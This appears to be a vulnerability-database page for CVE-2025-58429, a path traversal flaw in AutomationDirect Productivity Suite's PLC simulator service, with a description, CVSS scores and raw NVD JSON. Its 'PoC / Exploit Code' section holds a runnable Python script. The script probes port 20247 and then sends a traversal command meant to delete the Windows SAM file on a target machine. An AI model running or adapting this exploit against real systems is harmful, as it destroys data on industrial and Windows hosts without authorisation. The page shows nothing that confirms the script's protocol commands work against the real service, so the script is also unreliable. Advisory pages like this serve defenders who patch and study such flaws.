Security Vulnerability Report
中文
CVE-2025-58429 CVSS 7.5 HIGH

CVE-2025-58429

Published: 2025-10-23 23:15:37
Last Modified: 2026-04-15 00:35:42

Description

A relative path traversal vulnerability was discovered in Productivity Suite software version 4.4.1.19. The vulnerability allows an unauthenticated remote attacker to interact with the ProductivityService PLC simulator and delete arbitrary files on the target machine.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

Productivity Suite < 4.4.1.19
AutomationDirect Productivity Suite version 4.4.1.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-58429 PoC - Productivity Suite Path Traversal File Delete Reference: https://www.cve.org/CVERecord?id=CVE-2025-58429 """ import socket import sys def exploit_productivity_suite(target_ip, target_port=20247): """ Exploit for CVE-2025-58429: Relative Path Traversal in Productivity Suite This PoC demonstrates how an unauthenticated attacker can delete arbitrary files by exploiting the path traversal vulnerability in ProductivityService PLC simulator. Note: This is for educational and authorized testing purposes only. """ # Path traversal payload to delete arbitrary file # Using relative path traversal to target system files payload = b"DELETE_FILE: ../../../Windows/System32/config/sam\r\n" print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Sending malicious payload to delete arbitrary file...") print(f"[*] Payload: {payload.decode().strip()}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload) response = sock.recv(1024) print(f"[+] Response: {response}") sock.close() print("[*] Exploit sent successfully") return True except Exception as e: print(f"[-] Error: {e}") return False def check_productivity_service(target_ip, target_port=20247): """ Check if ProductivityService is running on target """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Send identification probe probe = b"GET_INFO\r\n" sock.send(probe) response = sock.recv(1024) print(f"[+] ProductivityService detected: {response}") sock.close() return True except: print("[-] ProductivityService not found or port not accessible") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-58429-poc.py <target_ip> [port]") print("Example: python cve-2025-58429-poc.py 192.168.1.100 20247") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 20247 print("=" * 60) print("CVE-2025-58429 PoC - Productivity Suite Path Traversal") print("=" * 60) if check_productivity_service(target, port): exploit_productivity_suite(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58429", "sourceIdentifier": "[email protected]", "published": "2025-10-23T23:15:37.170", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A relative path traversal vulnerability was discovered in Productivity Suite software version 4.4.1.19. The vulnerability allows an unauthenticated remote attacker to interact with the ProductivityService PLC simulator and delete arbitrary files on the target machine."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-296-01.json", "source": "[email protected]"}, {"url": "https://support.automationdirect.com/docs/securityconsiderations.pdf", "source": "[email protected]"}, {"url": "https://www.automationdirect.com/support/software-downloads", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-296-01", "source": "[email protected]"}]}}